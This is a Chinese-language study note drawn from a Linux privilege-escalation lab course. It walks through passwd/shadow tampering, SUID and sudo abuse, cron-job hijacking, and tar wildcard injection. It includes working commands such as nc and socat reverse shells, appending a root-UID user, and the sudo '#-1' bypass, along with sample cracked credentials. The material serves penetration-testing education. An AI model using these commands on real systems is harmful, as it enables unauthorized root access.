shng


[学习] Linux中常用的提权方法

上次在实验楼看到一个关于linux提权的训练营,写的非常好,不过过了一段时间忘得也差不多了,这次就趁着楼赛再复习一遍吧。
一.passwd 文件提权
二.shadow 文件提权
三.SUID 可执行文件提权
四.Cron Jobs 定时任务提权
五.通配符注入提权
六.sudo 滥用提权
七.敏感文件提权
八.跳板用户提权
九.Linux 内核漏洞提权
十.暴力破解提权
十一.自动化提权

预备:将垃圾shell升级成具有交互功能的shell

「简单 shell」不方便的地方体现在下面几个方面:

通过 Python 创建「伪终端」升级

import pty 
pty.spawn("/bin/bash")

Python 创建的伪终端解决了以下问题:

但是 Python 创建的伪终端仍然存在的问题:

使用 socat 进行升级

* 需要主机支持socat命令

然后新建一个终端,使用如下命令在本地监听 5912 端口:

socat file:`tty`,raw,echo=0 tcp-listen:5912

然后在「简单 shell」 中执行如下命令,反弹一个完整的 TTY-shell:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912

这种方式反弹回的 shell 最为完整,但需要目标主机支持 socat 工具。

一. passwd文件提权

通常来说,通过 /etc/passwd 提权的方法有两种:

  1. 如果具有 /etc/passwd 的 w (写入) 权限,可以直接添加一个 root 权限的用户

    自己构造一行用户数据添加到 passwd 文件中,用户名和密码自定义,并且将 UID 设置为 0,此时我们登陆就可以获取 root 权限。

第一步-先设置用户名:将用户名从 root 修改为其他任意用户名即可,例如 syl-passwd:

syl-passwd:x:0:0:root:/root:/bin/bash

第二步-设置密码:之前讲到过,第二个字段 x 表示该用户密码存放在 /etc/shadow 文件中,如果密码不用存在 /etc/shadow 中,可以直接将 x 替换为 「密码」 即可。

但需要注意的是,这里的「密码」 并不是指明文密码,而是经过 hash 算法加密之后的密文字符串,那如何计算 hash 字符串呢?我们可以使用 openssl套件。

使用 openssl创建一个密码为 pass123 的 linux hash,命令如下:

openssl passwd -1 -salt ignite pass123

参数解释:

计算得到的 hash 为$1$ignite$3eTbJm98O9Hz.k1NTdNxe1,用它来替换 x,最终我们构造出的 passwd 用户数据如下:

syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

接下来将它添加到 passwd 文件中:

echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd

注意:

  1. 必须使用单引号,不能使用双引号
  2. 使用 >> ,而不是 >

  3. 如果 /etc/passwd 中存储 root 用户密码哈希,可以使用 john 进行破解

john 会调用指定字典对 hash 字符串进行破解,破解时间取决于字典大小和计算机性能。john 支持使用内置字典,也可以指定自定义字典,本课程中我们使用 john 自带字典完成破解。

先将之前获取到的 root 用户 hash 写入文件 hash.txt 中:

# 此处必须单引号
echo 'root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash' > ~/hash.txt

然后使用 john 进行破解:

john [--show] ~/hash.txt

注意:

john 工具对于同一个破解文件中的同一条 hash 记录只会爆破一次,如果第二次执行 john ~/hash.txt 是不会得到结果的,如果想查看上一次爆破的结果,需要使用 --show 参数

二. shadow文件提权

/etc/shadow 文件用于存储加密后的密码和密码相关的配置信息,该文件的每一行代表一个用户,每行都包含 9 个字段,用冒号(“:”)隔开,顺序如下:

  1. 用户名
  2. 加密后的密码
  3. 上次修改密码的时间(从 1970.1.1 开始的总天数)
  4. 两次修改密码间隔的最少天数,如果为 0,则没有限制
  5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为 99999 则没有限制
  6. 提前多少天警告用户密码将过期
  7. 在密码过期之后多少天禁用此用户
  8. 用户过期日期(从 1970.1.1 开始的总天数),如果为 0,则该用户永久可用
  9. 保留,未来使用

例如,假设 /etc/shadow 文件中其中一行信息如下:

pic

其含义解读如下:

默认情况下,只有 root 权限才能读取和修改 /etc/shadow 文件,但有时候由于系统管理员的错误配置,也会给我们带来可乘之机。

通常来说,通过 /etc/shadow 提权的方法有两种:

  1. 如果具有 /etc/shadow 的 w (写入) 权限,可以直接修改 root 密码
  2. 如果具有 /etc/shadow 的 r (读取) 权限,可以通过读取 root 用户密码并使用 john 进行破解

编辑/etc/shadow 文件,将 root 用户的密码篡改。

命令查看 shadow 文件中 root 用户的密码配置:

cat /etc/shadow|grep root

pic

得到的结果是:

root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

我们只需要替换第一个:和第二个:之前的字符串,这是经过加密之后的密码哈希。

生成密码的方法和上一章中的一样,需要使用到 openssl 套件,创建一个密码为 pass123 的 linux hash,命令如下:

openssl passwd -1 -salt ignite pass123

参数解释:

pic

计算得到的 hash 为:

$1$ignite$3eTbJm98O9Hz.k1NTdNxe1

使用 vim 编辑 etc/shadow,替换密码哈希:

pic

使用 cat 命令确认一下是否修改成功:

pic

确认添加成功后,使用 su root 切换到 root 用户,密码为 pass123:

pic

至此,我们成功获取到 Linux 系统的最高权限 —— root 权限。

和之前一样,使用如下命令查看 /etc/passwd/etc/shadow 文件的权限:

ls -alh /etc/passwd /etc/shadow

pic

从输出结果中我们发现,/etc/shadow 文件其他用户也具有读取(r)权限,导致我们可以直接读取 /etc/shadow 的内容:

cat /etc/shadow

pic

可以看到,shadow 文件中记录了 root 用户的密码哈希,接下来我们使用 john 工具来破解。

Kali Linux 上默认安装了该工具,但在 ubuntu 实验机器上需要自己安装。打开一个新终端,输入如下命令进行安装:

sudo apt install john

Kapture 2020-07-04 at 15.34.23

john 会调用指定字典对 hash 字符串进行破解,破解时间取决于字典大小和计算机性能。

john 支持使用内置字典,也可以使用用户自己的自定义字典,本课程中我们使用 john 自带字典完成破解。

不过在开始破解之前,还有一步要做:

在实战环境中,我们需要先将 /etc/passwd/etc/shadow 的内容合并,否者 john 可能无法识别 /etc/shadow 中的内容。

需要使用到 unshadow 命令:

# 注意 passwd 必须是第一个参数 unshadow /etc/passwd /etc/shadow >
~/shadow_crack.txt

pic

接下来就可以使用 john 来破解 shadow_crack.txt ,john 会自动加载所有识别到的用户 hash 并按次序破解:

john ~/shadow_crack.txt

稍微等待一下,成功破解出 root 密码:

pic

使用 su root 命令切换到 root 用户:

Kapture 2020-07-04 at 15.53.36

至此,我们成功提权到 root 用户。

三. SUID提权

通常情况下,Linux 运行一个程序,是使用当前运行这个程序的用户权限,这种机制是非常合理的,但有一些程序比较特殊,比如我们常用的 ping 命令。

ping 需要发送 ICMP 报文,这个操作需要发送 Raw Socket,而使用 Raw Socket 是需要 root 权限,那怎么才能让普通用户也能使用 ping 命令呢?这时候就要使用到 suid

suid 全称是 Set owner User ID up on execution ,即——使文件在执行时拥有文件所有者的权限。

我们使用如下命令查看 ping 命令的权限设置:

ls -alh /bin/ping

图片描述 你会发现 ping 的权限中多了一个 s,这就是 suid。因此无论任何用户在执行 ping 命令时,ping 命令本身都将拥有其所有者的权限,而 ping 的所有者是 root 用户,所以 ping 就拥有了 root 权限。

试想,如果拥有 suid 权限(root)的某文件提供了文件修改、执行系统命令的功能,那就能被攻击者恶意利用来提升系统权限——这就是 SUID 提权的原理。

下面给大家介绍几种常用的 SUID 提权方法。

1.nmap提权

当使用 nmap 进行「UDP 扫描」或「SYN 扫描」时,需要调用 Raw Socket,因此需要 root 权限。

nmap 默认不具有 suid 权限,每次使用的都需要加上 sudo

图片描述

有些管理员为了使用方便,便给 nmap 加上了 s 权限。

但别忘了,仅具有 s 权限是不能用于提权的,还需要该文件拥有执行系统命令修改文件的功能,恰巧 nmap 2.02~5.21 版本提供了执行系统命令的功能。

使用命令 nmap –version 查看实验环境中 nmap 的版本:

图片描述

恰好是 2.01~5.21 之间的版本,此版本可使用命令 nmap --interactive 进入一个交互界面,在该模式下输入 !sh 便可获取一个 shell,如下图所示:

图片描述

由于此时 nmap 并不具有 s 权限,因此获取到的 shell 为 shiyanlou 用户权限。

使用如下命令给 nmap 加上 s 权限:

sudo chmod u+s /usr/bin/nmap

图片描述

此时 nmap 已经拥有了 s 权限,且文件所有者为 root 用户,再尝试以上方法便可获得 root 权限的 shell。

2.find 提权

当 find 命令具有 s 权限时,可以借助 find 执行系统命令从而提权。

使用命令 ls -alh /usr/bin/find 查看 find 命令权限:

图片描述

find 执行系统命令的语法如下:

find <file> -exec <command> \;

其中 `` 可以为任意文件,因此我们可以先使用 touch 命令创建一个文件 test

图片描述

然后通过 test 文件执行命令:

find test -exec whoami \;

图片描述

这样就能以 root 权限执行命令了,但每次执行命令都要这样写未免很麻烦,并且正如之前我们在「TTY shell」中我们讲到了,这种方式并不支持需要交互的命令,例如 ssh、su 等。

同学们可以稍微思考一下:如何获取一个更方便的 root 权限的 shell 呢?

其实方法很简单,我们可以直接执行 /bin/bash 命令即可:

find test -exec /bin/bash -p \;

注意:必须使用 -p 参数,否者无法获取 root 权限,至于原因可以参看我写的这篇文章,这里不再赘述。

图片描述

3.cp 和 mv 命令

cpmove 命令具有 s 权限时,可以通过覆盖 /etc/passwd/etc/shadow 文件,从而获取 root 权限。

使用命令 ls -alh /bin/cp 查看 cp 命令权限,可以看到 cp已经有了 s 权限:

图片描述

先将 /etc/passwd 的内容复制一份到用户主目录下 ~/passwd:

cat /etc/passwd > ~/passwd

此处不使用 cp 进行复制,因为 cp 会将文件权限一起复制。

图片描述

然后利用之前在「Linux 提权之 passwd 文件提权」这一章节中提到的方法,我们创建一行用户数据如下:

hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

然后将这行添加到 ~/passwd 文件中:

echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> ~/passwd

图片描述

最后,通过 cp 命令的 s 权限,用 ~/passwd 覆盖 /etc/passwd

cp ~/passwd /etc/passwd

覆盖完成后,通过 su hacked 命令切换即可切换到 hacked 用户(密码 pass123):

图片描述

由于 hacked 用户的 uid=0,因此我们切换之后成功获取到 root 权限。

move 命令的提权方法和 cp 命令非常类似,这里就不再赘述,同学们可以自行尝试一下,如果你有问题欢迎留言。

以上已经给大家介绍了多种 SUID 可执行文件的提权方法,实际上可用于 SUID 提权的还有很多,这里就不给大家一一列举了,可以通过以下网址查询提权方法:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

图片描述

通过搜索找到对应的命令,查看详情便可知道具体提权方法。

4.如何查找 SUID 可执行文件

在实战中,我们可以使用如下命令来查找主机上所有具有 s 权限的可执行文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

图片描述

但是查询结果中,通常有大量的无法利用来提权的可执行文件,需要人工进行分析。

有没有办法通过自动化脚本来自动分析呢?有的,我写了一个简单的脚本来完成自动化分析,项目地址如下:

https://github.com/Jewel591/suidcheck

图片描述

使用 wget 下载 suidcheck.sh:

wget https://raw.githubusercontent.com/Jewel591/suidcheck/master/suidcheck.sh

suidcheck.sh 加上可执行权限并执行:

chmod +x suidcheck.sh
./suidcheck.sh

图片描述

红框中的结果,就是可用来提权的可执行文件:

图片描述

实际上可通过 SUID 提权的命令远不止这三种,例如 cat、vim、more、sed 等命令也都可以进行 SUID 提权,但只要你掌握实验中提到的提权思路,其他命令也就能融会贯通了。

四. CronJobs提权

1.什么是 Cron 定时任务

Cron Jobs 是 Linux 系统中的「定时任务」,常被用来安排那些需要周期性执行的命令,例如定期备份数据、定期清理缓存等功能,因为使用到 cron 工具(crontab),因此被称作 Cron Jobs。

CronJobs 作为系统管理员最常用的功能之一,本身是非常棒的一个工具,但如果「定时任务」被设定为以更高的用户权限运行(例如 root 用户),则可能会被黑客利用来提权。

crontab 命令使用语法如下:

*    *    *    *    *   [ user ] File/Command
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 星期中星期几 (0 - 7) (星期天 为0)
|    |    |    +---------- 月份 (1 - 12)
|    |    +--------------- 一个月中的第几天 (1 - 31)
|    +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)

其中 user 是可选的,若不指定用户,则使用当前用户的权限指定。

需要注意的是,只有 root 用户才能指定以其他用户的权限来执行命令或脚本。

举个例子:

如果我们想实现每小时输出一次 Apache 报错日志,可以使用如下语句:

0 * * * * echo /var/log/lastlog

因为小时都被设定为 *,因此每当分钟到达 0 时都会执行一次定时任务——即每小时执行一个。

那如果需要每两小时的第 15 分钟执行一次命令,应该如何实现呢?

我们只需要做一个简单的修改就可以了:

15 */2 * * * echo /var/log/lastlog

下面我们通过一个示例来理解一下cron 的用法。

先执行如下命令初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs.sh |bash

图片描述

初始化成功之后,你在 shiyanlou 用户主目录下能看到 cleanup.py 文件和 trashDirectory 目录,如上图所示。

trashDirectory 目录下有 error.logreadme.txt 两个文件

图片描述

我们的实验目标如下:

通过 crontab 添加一个定时任务,每 1 分钟通过调用 cleanup.py 脚本清除 ~/trashDirectory 目录下的所有数据。脚本 cleanup.py 的代码很简单,通过 os.system() 函数调用 rm 系统命令来清空 ~/trashDirectory 目录:

图片描述

接下来使用如下命令在 crontab 中添加一条定时任务:

sudo vim /etc/crontab
* *     * * *   root    python /home/shiyanlou/cleanup.py

pic

由于我们的实验机器上 cron 服务默认是关闭的,所以我们需要手动使用下列命令开启 cron 服务:

sudo service cron start

图片描述

接下来我们进入 ~/trashDirectory 目录,使用 ls 命令查看文件夹下的文件:

图片描述

可以看到,大概一分钟后 ~/trashDirectory 文件夹下数据被清空,说明 cron jobs 正常执行。

至此,我想大家应该已经理解了 cron 的基本用法,那么下面我们就开始学习如何通过 Cron Jobs 提权。

2.通过重写 crontab 调用脚本提权

使用如下命令查看主机上的计划任务:

cat /etc/crontab;

图片描述

有一条定时任务引起了我们注意:系统每分钟执行一个 ~/cleanup.py 脚本,并且是以 root 用户的权限运行。

我们查看一下 ~/cleanup.py 脚本文件的内容:

cat /home/shiyanlou/cleanup.py

图片描述

发现是一个定时清理目录的任务。

接下来我们再查看该脚本的权限:

ls -al /home/shiyanlou/cleanup.py

图片描述

发现了吗? cleanup.py 的文件权限设置存在风险:其他用户也拥有 w 权限,这意味着我们可以编辑修改 cleanup.py 的内容!

由于 cleanup.py 是以 root 权限运行的,因此我们可以利用的提权的方法非常多,下面我们列举两种方法。

3.利用 cleanup.py 反弹 root 权限的 shell

修改 cleanup.py 脚本执行的命令为如下命令:

# 使用 nc 向本地 4444 端口反弹一个 shell
nc 127.0.0.1 4444 -e /bin/bash

图片描述

然后执行如下命令监听本地的 4444 端口:

nc -lnvp 4444

图片描述

等待一会之后,成功接收到了反弹回的 shell,并且是 root 权限。

4.构建 SUID 提权

还记得之前我们讲过的 SUID 提权吗?我们也可以通过 cleanup.py 脚本将某些可执行文件修改为 S 权限,这样我们便可以利用它进行 SUID 提权,例如为 bash 添加 S 权限。

此时 /bin/bash 是没有 s 权限的:

图片描述

和之前一样,修改 cleanup.py 脚本执行的命令为如下命令:

chmod +s /bin/bash

图片描述

稍等一下,查看 /bin/bash 发现已经拥有了 s 权限,所以定时任务成功执行:

图片描述

如上图所示,使用 bash -p 即可获取 root 权限。

5.crontab 通配符注入提权

实际渗透测试中,经常还会遇到 crontab 和 「Linux 通配符注入」结合进行提权的场景,但是由于通配符注入需要讲的内容还比较多,所以我们会在下一章中给大家介绍这种方法。

五. 通配符注入提权

1.什么是通配符

对 Linux 有一定了解的同学应该会知道通配符,通配符是一个字符或一组字符,可以用来替换某些范围/类别的字符。

下面是一些常见的通配符:

其中,在实际的 Linux 提权中,我们使用到比较多的是*-,首先通过一个示例了解一下 Linux shell 对-字符会怎么处理的。

可以看到当前目录下有一个文件名为—-help的文件,大家先思考并尝试一下,你要如何查看他的内容呢?

图片描述

如果你使用 cat —-help命令查看,会有如下提示:

图片描述

类似的,如果你使用 vim —-help 查看也是一样的:

图片描述

这是因为在 Linux shell 中,-会被解释为命令参数,如果你要查看-—help 文件的内容,就需要避免以-为文件名的开头,例如你可以使用:

cat ~/--help

图片描述

这样就可以避免 shell 将—-help 解释为参数,而通配符注入正好就是利用的 shell 这一特点。

通配符注入通常会和 cron job 结合使用,下面我们通过实战来理解 tar 命令的通配符注入。

2.Crontab Tar 通配符注入

图片描述

如上图所示,实验环境初始化完成后,我们切换到了 tomcat-syl 用户(用于模拟攻击者获取的初始 shell),接下来需要通过利用 tar 通配符注入漏洞提权到 root 权限。

首先使用如下命令查看 crontab 中有哪些定时任务:

cat /etc/crontab;

图片描述

可以看到上图红框中,管理员配置了这样一条定时任务:每分钟执行一次,将 /var/www/html/ 文件夹中的所有内容打包到 /var/backups/html.tgz 进行备份。

接下来我们查看 /var/www/html 目录下有哪些文件:

图片描述

想利用 tar 进行通配符注入,我们需要在 /var/www/html/ 文件夹下创建以下 3 个文件:

创建 shell.sh,内容为使用 nc 反弹 shell 到本地 4444 端口:

cd /var/www/html/
echo 'nc 127.0.0.1 4444 -e /bin/bash' > shell.sh

创建名为--checkpoint-action=exec=sh shell.sh的文件,因为文件名中有空格,所以需要使用引号报告:

echo "" > "--checkpoint-action=exec=sh shell.sh"

最后创建一个名为 --checkpoint=1 的文件:

echo "" > --checkpoint=1

创建成功后,可以看到 /var/www/html/ 文件夹下有这样几个文件:

图片描述

当定时任务中的如下命令被执行时:

tar -zcf /var/backups/html.tgz /var/www/html/*

实际上等同于执行:

tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html

参数解释:

也就是说,每当定时任务被执行时,tar 都会调用 shell.sh 脚本并执行,而 shell.sh 脚本会将 /bin/bash 反弹到 127.0.0.1 的 4444 端口。

我们在当前 shell 中使用 nc 监听本地 4444 端口,命令如下:

nc -lnvp 4444

图片描述

稍微等待一会,当定时任务被执行时,我们就可以接收到被反弹回来的 shell,并且是 root 权限:

图片描述

至此,我们成功提权到 root 用户。

不过关于 tar + crontab 提权存在两个限制条件,这里也给各位同学详细说明:

因为必须要有写入权限,我们才能在该目录创建 shell.sh 和其他两个文件:

图片描述

* *     * * *   root    tar -zcf /var/backups/html.tgz **/var/www/html/***

原因是当包含绝对路径时,通配符注入实际上执行的命令变成了:

tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html

这种情况下/var/www/html/--checkpoint=1/var/www/html/--checkpoint-action=exec=sh shell.sh就不会被 shell 解释为 tar 命令参数,所以无法注入成功。

六. sudo提权

1.什么是 sudo 权限

在 Linux 中,sudo 命令的作用是让当前用户以 root 或其他用户身份(取决于 /etc/sudoers 文件配置)运行命令,sudo 这个词是「Super User Do root privilege task」的缩写。

/etc/sudoers就是 sudo 权限的配置文件,该文件用于配置具有 sudo 权限的用户和组,当你使用 sudo 运行任何命令时,Linux 系统会检查 sudoers 文件中配置的用户名或组,若当前用户和当前用户所在的用户组均不在 sudoers 文件中,则不能使用 sudo 命令。

2.Sudo 配置文件语法

sudo 的配置文件是 /etc/sudoers,使用如下命令查看实验主机上 sudoers 的配置:

sudo cat /etc/sudoers

图片描述

重点关注 # User Privilege specification 这行下面的内容,此处是针对特定的用户配置 sudo 权限,如上图所示可以看到一条配置:

root    ALL=(ALL:ALL) ALL

这行配置的含义如下图所示(Tag 是可选的):

图片描述

这行配置意为:root 用户在所有的主机上,能够以任何用户任何用户组的权限,执行任何命令。

很多同学会有疑惑,上面提到的”任何用户/任何用户组“是什么意思呢?

其实是因为我们在执行 sudo 命令时,可以使用-u来指定命令以某个特定用户的权限运行,只要 sudoers 文件中配置允许就可以,例如我们想以用户 www-data 的权限来执行 whoami 命令:

sudo -u www-data whoami

同理也可以使用-g 来指定命令以某个特定用户组的权限运行。

Tag是可选的,当被设置为 NOPASSWD 时,意味着执行 sudo 无需密码。

下面通过一个实例来说明如何配置 sudoers:

假设我们要允许用户 lanqiao 可以在所有主机上,以 root 用户的权限执行 more 和 cp 命令且无需输入密码,那么可以这样配置:

# 多个命令用,分割
lanqiao ALL=(root:root) NOPASSWD:/bin/cp,/bin/more
# 用户和用户组相同时,可以简写为一个
lanqiao ALL=(root) NOPASSWD:/bin/cp,/bin/more

理论知识先讲到这里,相信大家对 sudoers 的配置语法已经有了基本的理解,下面我们通过实验来学习几种常见的通过 sudo 提权的方法。

3.具有 root 权限的命令

这种情况是指:可以通过 sudo 以 root 权限执行某些命令,并通过这些命令获得一个 root 权限的 shell,又细分了两种情况:

第一种:sudo 允许执行某个命令,但未对命令参数做限制

使用sudo -l命令查看当前用户的 sudo 权限:

图片描述

如上图所示,可以看到如下一行配置:

(root) NOPASSWD:/usr/bin/find

等同于:

tomcat-syl ALL=(root) NOPASSWD:/usr/bin/find

意为 tomcat-syl 被允许以 root 权限执行 find 命令,并且无需密码。这种场景的提权方法和实验四中我们讲过的 SUID 提权非常相似,可以通过下面这条命令提权:

sudo find /home -exec /bin/bash \;

图片描述

可以看到成功提权到 root 权限,原理如果不清楚的同学可以再回去看一下实验四,这里不再赘述。

如果是其他命令,和之前实验四中我们讲过的一样,可以通过以下网址查询提权方法:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

图片描述

通过搜索找到对应的命令,查看详情便可知道具体提权方法。

第二种:sudo 允许执行某条带参数的具体命令

同样使用sudo -l命令查看当前用户的 sudo 权限:

图片描述

可以看到如下一行配置:

(root) NOPASSWD: /bin/less /var/log/messages

等同于:

tomcat-syl ALL=(root) NOPASSWD: /bin/less /var/log/messages

注意: /bin/less/var/log/messages之前没有, 说明这是一条完整的命令。

意为:tomcat-syl 被允许以 root 权限执行命令 less /var/log/messages,这种情况下由于命令参数被写死,所以发挥空间就没有第一种那么大了,一般只有特定的一些情况可以提权,less 命令是其中之一。

键入命令 sudo less /var/log/messages 查看日志,随后输入 !/bin/bash可以获得一个 root 权限的 shell:

图片描述

4.sudo 自身的漏洞

首先使用 sudo -l 查看当前用户的 sudo 权限:

图片描述

注意ALL!root之间是用逗号隔开的,意为:tomcat-syl 用户可以以任意非 root 身份运行所有的命令且无需密码。

例如我们指定以 shiyanlou 用户的身份运行 whomai 命令:

sudo -u shiyanlou whoami

图片描述

如上图所示,此时的用户权限为 shiyanlou。

若指定以 root 用户的身份运行 ,则系统会提示输入密码:

sudo -u root whoami

图片描述

看来我们无法通过常规的 sudo 提权方法提升至 root 权限,但是别着急,下面我们再尝试一下 sudo 本身的漏洞。

首先使用 sudo —-verison 来查看实验主机上 sudo 的版本:

图片描述

如上图所示,sudo 版本为 1.8.16。

这里要为大家介绍一个在渗透测试中用的非常多的网站——「exploit-db」,是 Kali Linux 开发团队维护用于收集公开漏洞情报的平台,在 Kali Linux 中内置的 searchsploit 命令行工具对应的数据就来自「exploit-db」,网址如下:

https://www.exploit-db.com/

图片描述

左边选择 EXPLOITS,点击右上角的搜索图标,输入 sudo 1.8 进行搜索:

图片描述

搜索结果中展示了几个 sudo 的漏洞,点击sudo 1.8.27 - Security Bypass查看详情:

图片描述

该漏洞的影响范围是 sudo < 1.2.28,我们实验环境中是 1.2.16,很幸运的也在影响范围内,该漏洞的原理如下:

当用户在使用 sudo 命令时,通过指定 UID 为 #-1 或 #4294967295,就可以以 root 身份执行命令。 这是因为命令在将 UID 转换为对应用户时,会将 -1 或 4294967295 这两个异常数字视为 0,而 0 是 root 用户的 UID。

下面我们尝试一个这个漏洞,在命令行执行以下命令:

sudo -u "#-1" whoami
sudo -u "#4294967295" whoami

图片描述

如上图所示,我们成功绕过了 sudoers 配置文件的限制。

类似于之前 SUID 提权中提到的,使用如下命令便可获得一个 root 权限的 shell:

sudo -u "#-1" bash -p

图片描述

当然 sudo 还有其他漏洞可以被利用来提权,我们这里只是抛砖引玉,同学们在实战的时候可以根据 sudo 的版本,在 exploitdb 上查询具体的漏洞来进行利用。

七. 查找敏感文件提权

假设我们已经通过 Web 漏洞反弹回一个 shell,是 www-data 用户的权限。

通过尝试之前几个实验中的方法都未成功,那么我们可以尝试在 Linux 上是否能寻找到一些认证信息,并利用该认证信息进行提权。

在本章中,我们会通过两个实验,分别从 Web 服务配置文件用户配置文件入手,收集信息并完成提权。

Web 服务配置文件

有时候通过查找服务器上的 Web 配置文件,可以发现数据库的连接账户和密码。登录数据库后,通过收集数据库中存储的用户密码,并且管理员如果存在密码复用的情况,即可完成提权,下面我们通过一个具体的实验来理解一下。

图片描述

如上图所示,实验环境初始化完成,此时我们切换到了 www-data 用户——用于模拟通过 Web 漏洞反弹回的初始 shell。

通常情况下,Linux Web 服务存放的路劲为 /var/www 目录,在该路径下我们重点关注以下文件:

我们可以通过以下命令来搜索:

find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2>/dev/null

当然不仅限于以上文件,并且如果目标主机采用了 CMS,我们可以通过谷歌查询该 CMS 的默认数据库连接文件的存放位置

在实验主机上,查看 /var/www 目录的文件:

 ls -lh /var/www

图片描述

我们发现主机使用了 WordPress 内容管理系统,通过谷歌查询得知,WordPress 的数据库配置信息存放在$root/wp-config.php,查看一下:

more /var/www/wordpress/wp-config.php

图片描述

如上图所示,成功找到了 MySQL 的 root 账户和密码:

root:cD8M2M8fMiDHu4m1

考虑到管理员可能存在密码复用的情况,尝试使用密码 cD8M2M8fMiDHu4m1 登录系统 root 账户:

图片描述

但是很可惜,并没有登录成功。

接下来我们登录 mysql 数据库,看看能否在数据库中发现一些信息:

mysql -u root -p -h 127.0.0.1

图片描述

然后允许一下命令,在 MySQL 数据库中收集信息:

show databases;
use ROB
show tables;
select * from rob_user;

图片描述

如上图所示,收集到两个用户、密码信息:

root:CMPc5MoAGf
alice:psoj9apv4u

我们再尝试一下,新打开一个终端,使用CMPc5MoAGf 登录 root 用户:

图片描述

成功登录 root 用户。

至此,我们学习了通过寻找 Web 服务的配置文件来提权的一种方法,实际上并不一定是找 Web 服务的配置文件,其核心是通过寻找服务器上的敏感认证信息并结合密码复用进行提权的一种思想。

还有一种关于 mysql 的提权方法——MySQL UDF 提权,该方法在 Windows 和 Linux 上都可用。

UDF 是 MySQL 的一个共享库,通过 UDF 创建能够执行系统命令的函数 sys_exec、sys_eval ,可以 UDF 执行系统命令来提权,但要利用 MySQL UDF 有两个条件:

  1. 获取到 mysql root 账户密码
  2. MySQL 在系统上以 root 权限运行,没有被降权(实际上这种情况比较少)

由于蓝桥实验环境的限制,无法设计相关实验,有兴趣的同学可以百度、谷歌研究一下。

用户相关配置文件

我们主要关注下面两个用户相关的配置文件;

用于配置环境变量和启动程序,当用户登录(login)时,该文件会被执行,在某些 Linux 发行版本中,该文件是默认不创建的。

每个用户的主目录下都定义了一个.bash_history文件,用于记录用户 shell 历史命令,默认记录最近输入的 1000 条命令,我们也许可以从中收集到一些敏感信息(部分 Linux 发行版本默认关闭了该共功能),在某些 Linux 发行版本中,默认关闭了该功能,可以尝试用 history命令查看。

首先执行如下命令以初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_90_learning_2.sh > ~/init_90_learning_2.sh;chmod +x ~/init_90_learning_2.sh;sudo ./init_90_learning_2.sh

图片描述

如上图所示,实验环境初始化完成后,我们切换到了 tomcat-syl 用户。

首先查看 ~/.bash_profile 文件,看是否能收集到一下敏感信息:

cat ~/.bash_profile

图片描述

但是很可惜,看来用户 tomcat-syl 并没有使用~/.bash_profile文件。

再查看一下 ~/.bash_history文件:

cat ~/.bash_history

图片描述

发现这一行历史命令记录:

echo tomcat-syl:09FMWNFS7n|chpasswd

这条命令的含义是:修改 tomcat-syl 用户的密码为 09FMWNFS7n,我们尝试一下能否用该密码执行 sudo :

sudo whoami

图片描述

如上图所示,密码正确,并且能够执行 sudo 权限。接下来使用之前学过的知识获取一个 root 权限的 shell:

sudo /bin/bash -p

图片描述

在本节实验中,我们学习了重点查找服务器上哪些 Web 相关的配置文件和用户相关的配置文件,随后在实验中学习了通过以上两者进行提权的方法。

本章的核心挂念是,在 Linux 主机上查找一些可能存放了敏感信息的文件,并不仅限于 Web 配置文件和用户配置文件, 还有一些重要文件也需要我们关注,例如:

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll

本章节篇幅有限,不可能列举所有的敏感文件,但只要我们掌握通过敏感文件收集信息的核心思想,便能一法通时万法通了。

祝你在接下来的课程中学习愉快,学有所获~

八. 跳板用户提权

在本章实验中,我们会先从 www-data 提权到跳板用户 alice ,再从 alice 提权到 root 权限。

我们首先尝试一下 SUID 提权,在所有 www-data 用户有权访问的目录下搜索带 s 权限的可执行文件,使用到的命令如下:

find / -user root -perm -4000 -print 2>/dev/null

搜索结果如下图所示:

图片描述

经过分析发现没有可用于 SUID 提权的可执行文件。

查看一下 home 目录下有哪些文件夹:

ls -alh /home

图片描述

发现 /home 目录下有一个 alice 目录,推测有一个 alice 用户,并且是可以登录系统的,可以通过查看/etc/passwd文件验证。

但是 www-data 没有权限访问alice目录,所以我们需要先试试能够提权到 alice 用户。

图片描述

经过一番尝试,我们发现/etc/passwd文件中有 alice 用户的密码 hash:

cat /etc/passwd

图片描述

根据之前学习的方法,使用 john 来破解。新打开一个终端,使用如下命令:

john /etc/passwd

图片描述

破解得到密码为 beautiful,使用 su 命令登录 alice 用户:

图片描述

现在我们成功从 www-data 用户提权到了 alice 用户,再尝试一次 SUID 提权:

find / -user root -perm -4000 -print 2>/dev/null

图片描述

